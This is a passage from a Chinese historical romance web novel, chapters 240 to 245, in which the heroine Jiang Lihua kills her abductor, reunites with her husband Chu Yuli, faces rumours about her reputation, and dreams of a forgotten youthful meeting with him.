赵彦庭嘴角一勾,抬手一把捏住姜黎婳的后颈,逼她抬头看着自己,他眸光阴沉又沉迷地盯着姜黎婳的脸蛋,声音缱绻,“婳儿,今日是我们的大喜之日,不要说让我不高兴的话,可好?”
“别叫我婳儿,我听着恶心!”姜黎婳猛地抬手手中的朱钗刺进赵彦庭的脖子。
脖子的疼痛感传来让赵彦庭整个人一僵,但是他捏着姜黎婳后颈的手却没有松开半分,他的嘴角开始流血,不过脸上的笑意却更大了,他疯狂地看着姜黎婳,抬起另一只手捏住她那握着朱钗的手,笑着道:“力气小了一点,若力气再大一点,你就可以让我当场毙命了。”
姜黎婳想要松开手,却被他死死的捏住,他盯着她的眼睛,轻声道,“再用一点力,你再用一点力,我就可以死了,你要就这样放弃了吗?”
他松开姜黎婳的后颈和手腕,举起双手,那双原本阴郁的眼睛此时亮若繁星,“你若现在放弃杀我了,那我就默认你愿意嫁给我了,将来即便是...”
一直箭矢射穿他的后背穿过他的心脏,让他即将说出来的话掐在了喉咙处,他没有垂眸去看穿过自己心脏的箭矢,而是直直地看着姜黎婳,抬手想要去触碰她的脸...
姜黎婳白色的小袄上被溅了赵彦庭的鲜血,那些血就像是在寒冬绽开在雪地里的寒梅,在小袄上显得特别的耀眼。
她整个人被眼前的一幕吓得僵在了那里,根本无法动弹。
赵彦庭扯了扯嘴角,鲜血从嘴里流了出来,他那未触碰到姜黎婳的手也随着他的倒下而落了下来。
他躺在地上看着僵在那里手上还握着朱钗的姜黎婳,“婳...”
我喜欢你。
很早以前就是。
你小时候粉雕玉琢是你家人心中的心头肉掌中宝,又何尝不是我触碰不到的月光呢?
只是太可惜了,以前我只是赵家不受待见的庶子,根本不能靠近你这个被所有人捧在手心的娇小姐,如今我好不容易有了能力,可是你又已经嫁作他人妇。
你知道吗?当重逢后看到你的第一眼我想的不是报复,而是想把你留在身边,报复的心是在得知你是御王妃之后才临时起意的。
知道你是御王妃,我与你根本没有可能,但是想到身为赵忠的儿子明知你是御王的王妃还要把你带走,让赵忠和皇帝心生隔阂,我还是义无反顾地把你带走了。
以前我不敢做的事情,赵旭庭敢做,他敢跑到你面前和你当朋友,可我不敢,而现在,为了毁掉赵忠,我做了我曾经不敢做的事情,可是你不知道我带走你是真心的。
我的所作所为可能有损你的名声,但我知道这样做,我将会在你的心头画下浓重的一笔,你就永远不可能忘了我...
“婳儿!”焦急懊恼的声音打破了赵彦庭的思绪。
他恍惚看见一个身影如风一样从门外扑了进来,扑到他心心念念的姑娘面前一把把她拥入怀中。
姜黎婳闻到自己心心念念的气息,抬手拥住楚御礼的腰,大声的哭了出来,“楚御礼!你这个笨蛋,怎么现在才找到我!你知不知道我差点就要被压着和那个变态成亲了!”
躺在地上的赵彦庭一口鲜血喷了出来,原本快要闭上的眼睛猛地瞪大...
为什么?
为什么那个男人的触碰她不抗拒?
为什么他的喜欢让她觉得恶心?
楚御礼根本没有去看躺在地上的赵彦庭,他紧紧地拥着姜黎婳,像是要把姜黎婳嵌入自己的身体里面一样,他垂头闻着她头发上的味道,声音沙哑,“是我笨,是我笨,我应该早点找到你的。”
两人依偎了好一会儿,守在门外的沉鹤才走进来道:“主子,人都解决完了,这赵彦庭的尸体怎么处置?”
楚御礼这才松开姜黎婳,去牵她的手。
“嘶...”姜黎婳痛呼出声。
楚御礼赶紧拉着她的手腕给她检查手心,看到她手心的伤口,他眉头一皱,眼底闪过一丝阴鸷,“他伤的?”
这眼神就像是姜黎婳若是应了,他就直接给赵彦庭鞭尸一样。
姜黎婳摇头,“我刺他的时候,不小心自己伤到的。”
“沉鹤,去拿药箱。”楚御礼说罢牵着姜黎婳往外走。
姜黎婳走到门口这才看到站在门外走也不是,离开也不是的赵旭庭。
赵旭庭有些不敢看姜黎婳眼睛,他吹着眼眸一脸歉疚地对姜黎婳道:“婳儿妹妹,真是抱歉,我们也没想到他竟然能做出这种大逆不道的事情来。”
姜黎婳想到那天听到赵彦庭和他手下说的那些话,有些不知道该怎么面对赵旭庭,她抿了抿嘴,“这件事情又不是赵大哥你做的,你不必自责。”
楚御礼睨了赵旭庭一眼,牵着姜黎婳大步离开。
凉亭中,楚御礼小心翼翼地给姜黎婳处理着伤口,“疼不疼?”
“不疼。”姜黎婳看着生怕给自己弄疼的楚御礼,嘴角弯了弯,“我只是手心受伤了,但是刺的可是他的大动脉。”
“我的娘子真是越来越厉害了,如今都干用簪子刺杀人了。”楚御礼抬眸看着她,眼底闪过一阵后怕,“他这么多心腹在这你就不怕刺杀不成功?”
“若我不杀了他,他就要押着我和他成亲了。”姜黎婳抿嘴看着他的眼睛,挑眉问,“你想要看到我和他拜堂成亲啊?”
“婳儿,你要记得,在我这里,没什么比你的安危更重要。”楚御礼深深地看着姜黎婳,“无论什么时候,你都不可以拿自己的生命冒险,好吗?”
第241章 整个江南都知道她差点和别人成亲了
房间中。
赵旭庭蹲在赵彦庭面前,他静静地盯着赵彦庭那双死不瞑目的眼睛,嘲讽地笑了笑,“用小花儿的话来说,你就是个煞笔玩意儿,既然都选择带她走了,为何偏偏还要带她回江南?你都不敢把她带到一个楚御礼猜不到的地方吗?”
他抬手把赵彦庭的眼睛掩上,长长吁了口气,“为了在他心底烙下一个印记,赔上自己的性命你觉得值得吗?”
赵旭庭之所以跟楚御礼来江南找姜黎婳和赵彦庭,除了担心姜黎婳之外,就是有很多话想要问赵彦庭,他想问赵彦庭当初为什么想要杀了他,也想问为何好好的却忽然那么恨父亲...
可是如今他已经得不到自己想要的答案了。
赵旭庭不知道在赵彦庭的尸体面前蹲了多久,等他想要站起来的时候发现自己的脚麻的根本无法站立了,而外面的天色已经也已经黑了。
站在门外的沉鹤冷眼瞧着房间里面的赵旭庭站起来又跌倒在地上的模样,他挑了挑眉,“赵公子,节哀顺变,他劫持王妃,死有余辜。”
赵旭庭:“......”
他虽然有些想不通赵彦庭为什么当年要作死,现在依旧脑子有病,但是也不至于伤心的战都站不起来!
不过他也不会因为脚麻就向楚御礼的手下寻求帮助!
他干脆直接无视沉鹤的话,坐在地上把腿打直,伸手捏了捏,等大腿和小腿缓过劲儿来了,这才重新站了起来,从房间里面走出去。
走到沉鹤面前,赵旭庭停下脚步,低声问:“我大哥的尸体,我可以带走吗?”
沉鹤蹙眉,“赵公子还想要我们找人安葬?”
脑子是不是有病?
王妃被一个男人掳走逮到江南还差点成亲这种事情是绝对不可能走漏风声的,否则王妃在京城的名声就完了。
所以王妃回去之后,只能是坠入悬崖之后自己迷路了,他们在冀州寻找了许久,终于找到了王妃...
不知沉鹤心头在想什么的赵旭庭被沉鹤怼得一愣,片刻后他颔首道:“多谢,那我这就去让人准备。”
赵旭庭走了几步,忽然想到今天这宅子里还有十几个赵彦庭的心腹,那些人的尸体...
他甩了甩头,算了,那些不应该是他来操心的。
另一边,楚御礼已经带着姜黎婳进了客栈,他让人准备了热水要亲自给姜黎婳沐浴,姜黎婳想到以前他帮自己洗澡之后发生的事情,连忙摇头,“我自己洗就可以了。”
被拒绝的某人一把抓住她的手,蹙眉,“你手受伤了,怎么洗?这手不能沾水的,你又伤了右手,你确定左手好洗?”
姜黎婳抿嘴,“可是今天发生了那么多事情,我好累。”
“所以才更要我来为娘子洗。”楚御礼抓着她的手把她往自己怀中一带,眼神促狭地看着她,声音沙哑,“还是娘子心头在想其他的事情?”
姜黎婳脸一红,意识到自己被人调戏了,她抬眸嗔了他一眼,抿嘴,“那你要保证什么都不做。”
“我不保证。”楚御礼弯腰一把抱住姜黎婳的腰抬步往房间里面大步走去。
果然过程让楚御礼有些难熬,但好在他也没有禽兽到在姜黎婳经历了那些大事情之后,还对要和姜黎婳做那些事情。
床榻上。
姜黎婳穿着亵衣盖着被子坐在床上,楚御礼坐在床边让她倚在他的腿上,自己给她擦头发,姜黎婳享受着他轻柔的动作,她睁着眼睛看着他优越的下颌线,轻声问,“你是怎么知道他带我来江南了的?”
楚御礼垂眸看着姜黎婳,想到自己只差一步就在那庵堂里面找到她了,他眼底闪过一丝冷意,“都是我疏忽了,才让你受了那些苦。”
姜黎婳扯了扯嘴角,“你来的时间刚刚好。”
“我原本可以更早找到你的。”楚御礼放下手中的帕子,给她理了理额角的碎发,“娘子,抱歉,让你担惊受怕了这么久。”
姜黎婳抬手在他脸上描绘着他的眉眼,好一会儿之后,她问,“楚御礼你介不介意我被一个男人掳走了这么久?”
楚御礼眉头一皱,那原本在温柔地抚弄她头发的手一下捏住她的脸颊,语气危险,“姜黎婳!你再问一下这个问题试试!”
“楚御礼,你介不介意我被赵彦庭掳走了这么久?”姜黎婳看着他的眼睛又问。
“唔...”姜黎婳瞪大眼睛看着近在咫尺的脸,一滴眼泪从眼角滑落。
楚御礼轻轻离开她的嘴唇,抬手轻柔地抚去她眼角的泪水,又轻轻在她的嘴唇上落下一吻,低声道:“婳儿,因为我的疏忽让你被掳走,只会让我自责,我又怎么会介意?”
姜黎婳抿嘴笑了笑,她想,即便是介意,他也不会说出来的。
瞧着姜黎婳笑意不达眼底的模样,楚御礼叹了口气,“其实赵彦庭把你掳走,比你被段贺年的人掳走,让我更庆幸一些。”
因为段贺年的人是真的想要杀了她。
那些人没有底线,最会听段贺年的命令,他甚至是庆幸赵彦庭对段贺年早就有违背之心。
姜黎婳扯了扯嘴角,她看着楚御礼,一字一句道,“楚御礼,不管你信不信,我还是要告诉你,他没有碰过我,你知道我的病,若他碰了我,我不可能这么冷静的。”
毕竟赵彦庭用手触碰一下她都会让她恶心的吐出来的,若真的敢对她做出那种事情,她完全可以肯定自己一定会疯的...
“我知道。”楚御礼低头在姜黎婳额头上亲了亲,“婳儿,你不用和我解释那么多的,身为你的夫君,我自然是无条件相信你的。”
这一夜姜黎婳终于睡了个好觉。
翌日。
姜黎婳还未起身就听到了焦急的敲门声。
她感受到身边的楚御礼翻身起来,身边很快就被冷空气侵袭,姜黎婳拢了拢被子,再次闭眼却睡不着了,她裹着被子坐起来,正要问楚御礼是不是有事,把门打开的人却走出了房间把门带上了。
姜黎婳蹙眉穿着鞋站起来走到门后。
“主子,应该是赵彦庭的人故意放出的消息,现在几乎整个江南的人都知道了王妃昨天差点和赵彦庭成亲的消息。”昭临的声音很严肃,“不出今天这件事情肯定就会传出江南,京城应该也会很快接到消息。”
姜黎婳拢着被子的手猛地收紧,她一直都知道古代的人很在意清白和名声的,她被一个男人掳走十几天这件事情的本身就足够惹人非议了,而现在人人都在传她差点和那个男人成亲了。
她想,她这个御王妃应该当到头了。
第242章 去姜府过年
姜黎婳没有再继续听下去,她转身走到床边把鞋子脱了,重新躺回床上,假装自己什么都没听到。
楚御礼很久都没有回来,姜黎婳不知道他去做什么了,或许是让昭临他们去打听这件事情究竟传到什么程度了。
她躺在床上翻来覆去睡不着,却又不想起来去面对旁人的异样眼色。
门吱呀一声被人推开,原本翻来翻去的姜黎婳一下子不敢动了,她躺在床上抱着被子心头忐忑。
她听到有人把什么东西放到桌子上,然后走到床边坐下,不等对方喊她,她翻身面对着他,与他对视,楚御礼笑着捏了捏她白皙的脸颊,言语温柔,“什么时候醒的?”
姜黎婳抿嘴,“昭临敲门的时候。”
楚御礼一怔,不过片刻,他的手又自然地从她脸颊上挪开,自然地搂着她的肩膀让她坐起来,“小懒猪,既然那时候就醒了,为何不起来洗漱?”
他起身去给她拿衣裳,“我给你端了早膳,起来穿好衣裳洗漱,然后用早膳?”
姜黎婳接过他递过来的衣裳在他面前穿好,然后乖乖的去洗漱,又给自己挽了一个简单的发髻,这才坐到餐桌旁边,开始用早膳。
楚御礼瞧着她平静的模样,眼底那抹化不去的冷意逐渐被笑意取代。
看来她应该没有听到昭临说的那些话。
姜黎婳吃了两个汤包又喝了一碗粥,这才放下碗筷对楚御礼道,“吃不下了。”
他笑着抬手捏了捏她的鼻尖,然后擦去她嘴角的油脂,“那收拾一下,我们起程回京。”
姜黎婳颔首,“那我们可以慢慢回京吗?”她抬眸看着他,脸上洋溢着笑容,“这些年我一直在江南,上次去京城因为赶路都没来得及欣赏一下沿途的风景。”
她撑着下巴,抿了抿嘴,“不过你若在京中事情繁忙的话,我们也可以直接回京。”
“那就玩。”楚御礼捏着姜黎婳的手放在唇边亲了亲,“如今逆贼的事情已经解决了,京城没什么事情需要我们急着回去处理的,我们就一边玩一边往京城走,如何?”
姜黎婳颔首,“那就赶在哥哥春闱前回去。”
楚御礼挑眉,“行,你喜欢什么地方,我们赶到那个地方去过除夕如何?”
姜黎婳眼睛一瞪,有些呆呆的看着楚御礼,楚御礼瞧着她这么可爱的模样忍不住揉了一下她的头发,“傻丫头,没两天就是新年了。”
“那我们回苏州吧。”姜黎婳抓住楚御礼的手站起来,“我们现在赶路在除夕之前应该可以赶到苏州,我们回姜府过年好不好?”
“好。”
昭临等人听到楚御礼说要起程去苏州的时候,都愣了,这时候主子不想着怎么回京城帮王妃摆脱流言蜚语,竟然还要由着王妃去苏州过年?而且过了年还要一边玩一边慢慢回京?
你们两个人是一点都不在意名声了吗?
某成衣铺子外面。
昭临和青砚两人唉声叹气地看着默默收拾行囊的沉鹤和冽风,青砚忍不住问,“你们都不担心主子和王妃吗?”
他们两个人这样胡闹,回去京城怕是会被皇帝怪罪的啊!
特别是王妃,如今京城的形势本就对她不利,现在又传出了这种流言,她不赶紧回去补救,等回去以后,怕是连主子的侧妃都当不上了!
“有什么好担心的?”冽风睨了两人一眼,“还不赶紧来帮忙收拾行李!”
沉鹤也蹙眉,“主子给王妃买了这么多衣裳,你们不来帮忙搬衣裳,愣着做什么?”
“主子心态真好。”昭临上前帮忙搬礼盒,“这时候还有心情陪王妃逛成衣铺子买衣裳。”
“心态不好能病着活了这么多年,还培养了我们?”沉鹤朝两人翻了个白眼,“所以你们两个人当不成暗卫,只能当个跑腿的亲卫。”
“你这是瞧不起谁?”青砚咬着牙瞪回去,“你这种见不得人的才只能当暗卫,你就是嫉妒我们长得比你们好看!”
冽风凉飕飕地看了青砚一眼,冷哼,“就你这模样,还和我们比好看?”
“那我们找个人来问问,看看我们四个谁最好看?”青砚咬着牙大声道。
挽着楚御礼的手从成衣铺子走出来的姜黎婳听到青砚这话,她眼角抽了抽,有些不解地抬眸看向楚御礼,“你身边的侍卫和暗卫还有比容貌这个传统文化呢?”
楚御礼无语的揉了揉眉心,不去看给自己丢脸的亲信们,淡淡道,“他们纯粹闲的,时间不早了,上车吧。”
姜黎婳点了点头,由楚御礼扶着上了马车,不过在进马车之前,她回头认真地把沉鹤四人打量了个遍,然后道:“你们四个的颜值若要分个一二三四的话,那冽风第一,沉鹤第二。”
她说完掀开帘子钻进车厢。
外面被评价了外貌的两人嘴角一勾,没被评价,但是又被评价了的两人:“......”
姜黎婳坐在马车中,半晌没等到楚御礼的身影,她先开车帘,正要喊他,就听到楚御礼道,“昭临、青砚来赶车,第一第二,你们记住自己的身份,没事别再人前晃悠!”
不配拥有姓名的第一第二:“......”
请问呢?
又不是他们找王妃评价他们容貌的!
马车中,姜黎婳瞧着某人漆黑的脸,她笑出了声,“吃醋了啊?”
楚御礼偏头不去看她,“娘子只觉得旁人好看了,还会在乎我的感受吗?”
“他们再好看能有你好看?”姜黎婳抓着楚御礼的手放在自己膝盖上,用报了纱布的手一点一点的叩开他的手指,“你没听我说他们四个要分一二三四吗?我只是帮他们排名,这世间男子,哪儿有你好看?”
“许久不见,娘子倒是越来越油嘴滑舌了。”楚御礼压着嘴角,不去看姜黎婳,“如今都会说这种言不由衷的话来哄为夫欢心了。”
“那是因为你我才会说这些话啊。”姜黎婳抬眸认真地看着楚御礼,一字一句的说道:“楚御礼你知道吗?其实不是我的病被治愈了,而是我的病,只对你免疫,这世间的所有男人,只有你对我的那些亲密触碰才会让我心安。”
“除了兄长和父亲,以前其他男人只要碰我的手一下,我就会觉得恶心,可是你是例外。”姜黎婳抓着楚御礼的手放在自己的脸颊上,低声道:“从我们成亲那天起,你就是我的特例,所以你不要为了其他不相干的人,与我生气了,好吗?”
楚御礼看着垂眸和姜黎婳对视,心头忽然闪过一丝不祥的预感,她明明在他面前这么真实的存在着,可是却让他感觉自己抓不住她一样...
第243章 他一开始就是特别的
瞧着姜黎婳那忐忑的模样,楚御礼自责地巴不得扇自己几巴掌,抬手抚平姜黎婳微微蹙起的眉心,楚御礼把她搂入怀中,低声道:“我没有生气,我只是在吃醋。”
他耐心地握着她白皙柔软的手指,轻声哄道:“娘子不知道我这个人多小气,自从和娘子成亲之后,我就希望娘子的眼中和心头都只有我这么一个人,把其他人都通通抛诸脑后,先前瞧你点评他们四个人,我就是吃醋了,才会那样的。”
姜黎婳整个人一顿,在他怀中缓缓抬起头,但是因为被他抱着,她即便抬头也看不到他的表情,只能看到他优越的长颈和下颌线。
她其实很奇怪,楚御礼对她的喜爱和占有欲都来得很特别,之前她一直以为楚御礼喜欢她是她的错觉,但是听了他刚刚的话,她可以确定,楚御礼是喜欢她的。
“楚御礼,你为什么会喜欢我?”姜黎婳轻轻推开楚御礼坐直身子,她抬眸看着他,眼神认真,“是因为我能为你治病吗?”
楚御礼瞧着她那好奇又认真的模样,有些忍俊不禁,他抬手在她鼻子上轻轻一刮,“傻丫头,你现在才来问这些是不是已经晚了?你忘了我们成亲当夜就已经洞房花烛,你啊已经完完全全是我的人了,现在才来计较我为什么会喜欢你是不是晚了?”
姜黎婳抿嘴,“夫妻之实是夫妻义务,但是我现在就想知道。”她皱了皱眉头,“你知道我的经历的,所以也知道你曾娶过苏清欢,但你与苏清欢成亲之后,她就守了活寡。”
“你为什么会喜欢我?难道就因为揭了盖头,看到了我的脸,所以喜欢上了我?”
楚御礼眉梢微挑,脑海中一下子想起了当初和姜黎婳成亲揭开盖头时候自己的心情,原本以为他这悲哀的一生将会在娶一个自己不喜欢的女人之后潦草结束,没想到揭开盖头之后,竟然有这么大的惊喜等着他。
“我对娘子的爱意埋在心头多年,我以为那些爱意从此在我心头长埋,但是在揭开盖头那一刻它们又重新萌芽肆意生长。”楚御礼抬手抚着姜黎婳的脸,头慢慢的靠近,轻轻地在她唇上啄了一下,抵着她的额头,低声道:“婳儿,在你不知道的时候,我就曾把你放在心底了。”
姜黎婳猛地瞪大眼睛看向楚御礼,她揪住楚御礼的衣襟,急声问,“你说你曾来江南寻医,难道你曾经在江南见过我?”
“不愧是我的娘子,真聪明。”楚御礼轻笑了一声,“原本不想让娘子窥探一个少年的心事,没成想还是被娘子你猜出来了。”
姜黎婳扯了扯嘴角,却没有那么开心,那原书中,楚御礼不喜欢苏清欢,也是因为在江南看到了原主,心头早已经喜欢原主了?
意识到自己在楚御礼心头不是特别的那个,姜黎婳的心像是被什么堵住了,她感觉自己胸口闷闷的,顿时对什么事情都提不起兴趣来了。
她不在继续这个话题,顺势把头靠在他的肩膀上,她闭着眼睛闷闷道:“我有些累了,想休息一会儿,到了驿站之后,你再叫醒我。”
楚御礼垂眸看了一眼莫名终结了话题的姜黎婳,眉头不自觉地蹙了蹙,但却没说什么,只轻轻应了一声,给她拢了拢身上的披风搂着她让她安稳的在自己怀中休息。
姜黎婳原本闭着眼睛只是想回避和楚御礼继续说话,但是迷迷糊糊的却进入了梦境。
梦中,姜黎婳身处家门外不远的小溪边,她和知夏、铃铛两人正乘着小船在河中游玩,忽然同样在河中的一艘小船开始剧烈晃动,紧接着一个少年从船里坠入河中,而在江南长大的她没想那么多就直接跳入湖中去救人了。
把人救起来,他没来得及去看少年长得如何,就直接给人做心肺复苏和人工呼吸,直到那人把府中的积水吐出来,咳嗽了好几声,她才笑着站起来,趁着他的侍卫过来隐入了人群。
漂浮在空中的姜黎婳看着还是一个少女的自己又看向躺在地上睁开眼睛就盯着自己离开方向的少年,她的心缓缓揪了起来,这段记忆她怎么一点都不记得了?
原来那个时候他对她来说就已经是特别的那个人了。
那个拒绝和陌生人相处的她,怎么会亲自跳河去救一个少年,又怎么会做出那种惊人的举动来!
画面一转,她又和知夏、铃铛两人来到了离家有些远的城外山涧中,她们在水中嬉戏,而那个曾经被她救过的英俊少年站在不远处笑看着她。
他像是偷看仙女沐浴的牛郎,想上前却只敢躲在大石头后面,独自脸红。
然而就在这时候,他忽然喷出一口鲜血,倒在了地上,而那些隐藏在暗处的侍卫蜂拥而上,抬着他就离开了。
姜黎婳正想跟上去看看,但人却被晃醒了,她恍恍惚惚地睁开眼睛,就瞧见楚御礼一脸担忧地看着自己。
她想张口说话,但是喉咙却很干涩,楚御礼把放在床头的水杯端起来递到她唇边,“你真要吓死为夫。”
姜黎婳就着他的手喝了两口温水,这才问,“这都到驿站了?”
“才走了一半的路程你就开始发热,人也喊不醒,所以只能随便找了个客栈先休息。”楚御礼说罢把床头的药碗端起来,“大夫开了药,已经熬好了,快趁热喝了。”
姜黎婳抬手给自己诊脉,又抬手摸了摸自己额头的温度,确认自己的确是感冒了,她接过药碗直接把一碗黑漆漆的药一饮而尽。
她喝完药,刚要说话,一颗蜜饯就被塞进嘴里,姜黎婳咬着蜜饯,说话含糊不清,“我肉不怕土。”
“但为夫可舍不得娘子吃苦。”楚御礼笑着揉了揉她的头发,然后顺手接过她手中的药碗转身放在桌上,又回来坐在窗边,认真的看着她,“婳儿,你是不是有心事?”
“没有。”姜黎婳抬眸和他对视,想到梦中的场景,她扯着嘴角笑了笑,“我发热可能是因为马车温度太低着凉了。”
瞧楚御礼不信,姜黎婳连忙道:“我想起来我曾在江南的哪儿见过你了。”
果然楚御礼被她转移了注意力,他饶有兴致地看着她,“哦?”
“你是不是遇刺落水了?”姜黎婳有些得意的挑眉,“我跳水救了你,然后给你做了人工呼吸!你瞧,我从一开始对你就是特别的!我居然给一个从没见过的人,人工呼吸!”
“多谢娘子救命之恩。”楚御礼眉梢微挑,“我还以为娘子当时是觉得我长得好看,所以故意在救了我之后,轻薄为夫呢。”
第244章 王妃和王爷爱情的守护神
姜黎婳的脸噌的一下就红了,她瞪眼看着一脸促狭的楚御礼,大声道:“你就是这么想你的救命恩人的?”
“一般救命恩人不都是救人之后留下来报清楚姓名家世,等待被救之人登门感谢吗?”楚御礼抬手摸着姜黎婳发红发烫的脸颊,笑意缱绻,“可是娘子当时那落荒而逃的模样就像是轻薄了良家妇女的登徒子,生怕被人知晓了去。”
姜黎婳急声辩解,“我那时给你人工呼吸!而且这个时代对女性来说本就不公平,若让旁人看到我救了你,还给你做人工呼吸,你一个我不认识的陌生人,难道我还要站在那里等着你上门娶我啊?”
“最后娘子不也嫁给我了吗?”楚御礼的笑声从喉咙溢了出来,他用额头抵着她,语气遗憾,“因为娘子你的胆小,我们夫妇真真错过了好几年呢。”
“嘁,你别以为我不知道你早就打听到了我的消息。”姜黎婳推开楚御礼,不屑地撇嘴,“跟着我到山涧偷看我戏水的人,不敢去我家提亲?是谁胆小我不说啊。”
楚御礼眼眸微动,嘴角的弧度也逐渐僵住,他看着她,“你看到我了?”
他记得自己当时是在一个大石头后面,也可以很确定她和两个丫头泼水玩得很开心,根本没有注意到石头后面有人,而他因为忽然发病很快就被侍卫带走了,她不应该知道才是。
姜黎婳想到自己在梦中看到他吐血的一幕,垂下眼眸摇头,“没有,是我梦到了,我今天昏睡那么久就是梦到了我们曾经在江南的一切。”
“梦到?”楚御礼蹙眉,“婳儿,你不是想起来了,是梦到了?”
姜黎婳顿了顿,她抬眸看着楚御礼,手指忽然紧紧地握了起来,她看着楚御礼,沉声道:“楚御礼,我先前所说的梦中的场景,都是我们曾经经历过的对吗?”
楚御礼轻轻点头,他深邃的眼眸之中闪过一丝不易察觉的情绪,声音也变得紧张起来,“婳儿,你是不是忘记了?”
姜黎婳整个人一僵,她的心一下子像是被冻得僵硬之后被敲碎了一样,四分五裂,她忘记了?她可以肯定自己有记忆开始就是一个很小很小的孩童,她在襁褓中被人捧着的画面,她都还能有些模糊的记忆,可是为什么完全不记得曾经和楚御礼相处的一切?
明明救人还给人做人工呼吸这种事情是很刻骨铭心的大事情,这种事情即便是进了坟墓,她都应该还记得的,为什么自己会忘了?
“忘记了。”姜黎婳喃喃道:“为什么我会忘记我们两个曾经在江南发生的一切?”
“你说你经历过一世,但是两世的经历,真正改变命运的事情是从换亲开始,可是在江南发生的,说明我们都经历过,那是不会变的,婳儿,你不觉得奇怪吗?”
姜黎婳缓缓抬眸看着楚御礼,很奇怪,特别奇怪!
从上一次她做梦能梦到原主被萧景宴折磨的模样开始她就觉得一切很奇怪!
还有那次见过吕月琴之后自己晕倒梦到的那间病房中的事情也很奇怪。
这些梦好像在引导她去发现什么。
姜黎婳努力让自己去发现自己忽略了什么,但是越是想要去想,却越头疼,她捂着头闭着眼睛,却发现自己根本没办法捕捉到任何不对劲的地方...
看到她这么痛苦的模样连忙握住她的肩膀,沉声道:“婳儿,别想了,想不起来的地方咱们就不想了,那些过去的事情都不重要了,我们不想了。”
他把姜黎婳拥入怀中让她靠在自己的肩膀上,手掌轻轻地拍着她的后背,低声安抚,“不管过去如何,现在和以后我们都会在一起,陪着对方,再也不分开,这就够了。”
姜黎婳听着楚御礼的一言一语,闭着眼睛没有回答。
门外把两人对话听了个一清二楚的沉鹤和冽风抬眸对视,他们就说他们主子这种性格的人,怎么成亲之后就成了粘人狗了,原来早在十四五岁的时候就被王妃给轻薄了啊!
十四五岁的少年正是纯情的时候,居然就被王妃给强吻了,难怪王妃能在王爷心头占据这么重要的位置呢。
两人默契地朝对方挑了挑眉头,把怀中抱着的短剑换了一个方向抱着,继续默不作声的当两尊保护神站在门外,为自家王爷和王妃的秘密和爱情保驾护航。
端着晚膳从楼下走上来的昭临和青砚两人看着两个面无表情守在主子门外的两尊门神,默契的对视了一眼,然后翻了个白眼。
青砚压低声音吐槽,“两张木头脸也不知道有什么好看的,王妃不知道是什么眼光!”
昭临立刻点头附和,“王妃的审美我们不敢苟同,这两人出去都要吓死人,王妃居然还说他们是第一第二,简直没眼光!”
“一会儿端着晚膳进去之后,好好贿赂一下王妃,让王妃重新做一次选择。”青砚眼睛一眯,坚定的看着两尊门神,“一定要把这两个人比下去!”
两尊门神瞧着两人越走越近,抬步朝两人走过来,强势地接过两人手中的托盘,沉鹤道:“你们下去吧。”
被当成吓人使唤的两人立刻怒了,青砚这暴脾气一下就起来了,他往前走了一步,语气低沉,“还给我!”
“主子交代过,除了我与冽风不得让任何人靠近半步。”沉鹤挑眉看着与自己一样高的青砚,语气挑衅,“包括你们两个老三老四。”
昭临双手握拳,“叔可忍婶不可忍!老子和你拼了!”
“婶子,你现在不能忍,也要等主子和王妃用过晚膳后我再奉陪,现在我们得守着主子他们。”沉鹤端着餐盘与冽风一起潇洒转身,“我们可不像你们两人这样是一对闲人,恕不奉陪。”
“啊啊啊啊!”青砚当场抓狂,“老子和你拼....”
青砚的话随着房间门被打开卡在了喉咙,他站直身子,朝楚御礼躬身,“主子,王妃醒了吗?”
“滚下楼吵。”楚御礼冷冷地睨了几人一眼,让沉鹤他们把餐食端进去,“沉鹤冽风在门口守着,不准任何人靠近半步。”
昭临心伤地抬眸看着楚御礼,一脸委屈,“所以主子,爱是会消失的对吗?”
原本心情就不好的楚御礼听到这话脸彻底黑了,“很闲?去把这家客栈的恭桶都刷干净!再去背五十袋沙袋!”
青砚闻言赶紧从昭临旁边挪开,他可不能被连累!好兄弟可以为对方两肋插刀,但是绝对不能帮对方刷恭桶!
第245章 夫妻情深
姜黎婳不知道四个曾经亲密无间的同伴就这样因为她的一个排名开始了明争暗斗、针锋相对的生活。
因为白日里睡的时间太长了,加上思绪过重,姜黎婳反倒是睡不着了,但是害怕吵到躺在身边的楚御礼,她躺在里侧也不敢动,只能睁着在心头默默数羊...
“唉。”轻轻的叹息声在身侧响起。
姜黎婳偏头正好和侧首看着自己的楚御礼对视上了,她眨了眨眼睛,有些疑惑,“我都没动一下,还是吵到你了?”
害怕吵到他,她就连数羊都是在心头默数的呢。
楚御礼轻轻摇头。
姜黎婳更不解了,“那你叹什么气?”
“睡不着。”楚御礼手肘撑在床上支着头,眼神带着侵略性的温柔,“婳儿,我们做点助眠的事情吧?”
姜黎婳想到上次他说帮她助眠之后发生的事情,她脸一红,“做什么事情?”
楚御礼的笑从喉间传来,倾身在她额头上落下一吻后,他才压低声音道,“自然是做为夫爱为娘子做的事情。”
姜黎婳的心就像是吊在半空被人狠狠打了一拳,然后四处乱撞,感受到他打在自己脸上的灼热呼吸,姜黎婳只感觉自己的心都要从喉间跳出来了。
她抬手勾住他的脖子,低声道:“那你先让守在外面的人都离开。”
她知道沉鹤和冽风已经去休息了,但是一定还有其他人守着他们,她不想被听墙角。
“没人守着。”楚御礼沙哑地说了一句,直接吻上了她的唇。
半个时辰后。
姜黎婳满身疲倦地依靠在楚御礼的怀中沉沉地睡了过去,看到在怀中睡过去的娘子,楚御礼这才吸了口气,满足的搂着她也闭上了眼睛,她睡不着他怎么会不知道,但是她本身就是一个思虑很重的人,宁愿自己憋在心头胡思乱想也不愿意开口告诉他。
翌日。
姜黎婳与楚御礼收拾好一同离开客栈,在客栈楼下看到了鼻青脸肿的四个人,她的目光在四人脸上扫过,她有些不解,“昨晚有刺客吗?”
四人闻言面上皆是闪过一丝不自在,沉鹤摸了摸鼻子没说话,冽风也转身继续把行囊装进马车。
青砚和昭临两人也要回避,楚御礼一个冰冷的眼神扫了过去,“女主人问你们话,听不到?”
“回王...女主子!”青砚立刻中期十足的扬声回答,“没有刺客,我们四个昨天晚上起夜的时候不相信滑到了摔的!”
姜黎婳:“......”
那这摔得还挺严重的,他们也是够倒霉的。
楚御礼听着青砚拙劣的借口冷哼了一声去扶姜黎婳,“上马车,咱们今天得赶路,争取在后天傍晚到达姜宅。”
上了马车,姜黎婳有些不解地看着楚御礼,“现在沉鹤和冽风两人一直这样出现在人前没有问题吗?”
“没问题,他们两人应该逐渐出现在世人面前了,以后我还有很多事情需要他们代我解决。”
姜黎婳点头,“哦。”
京城,皇宫。
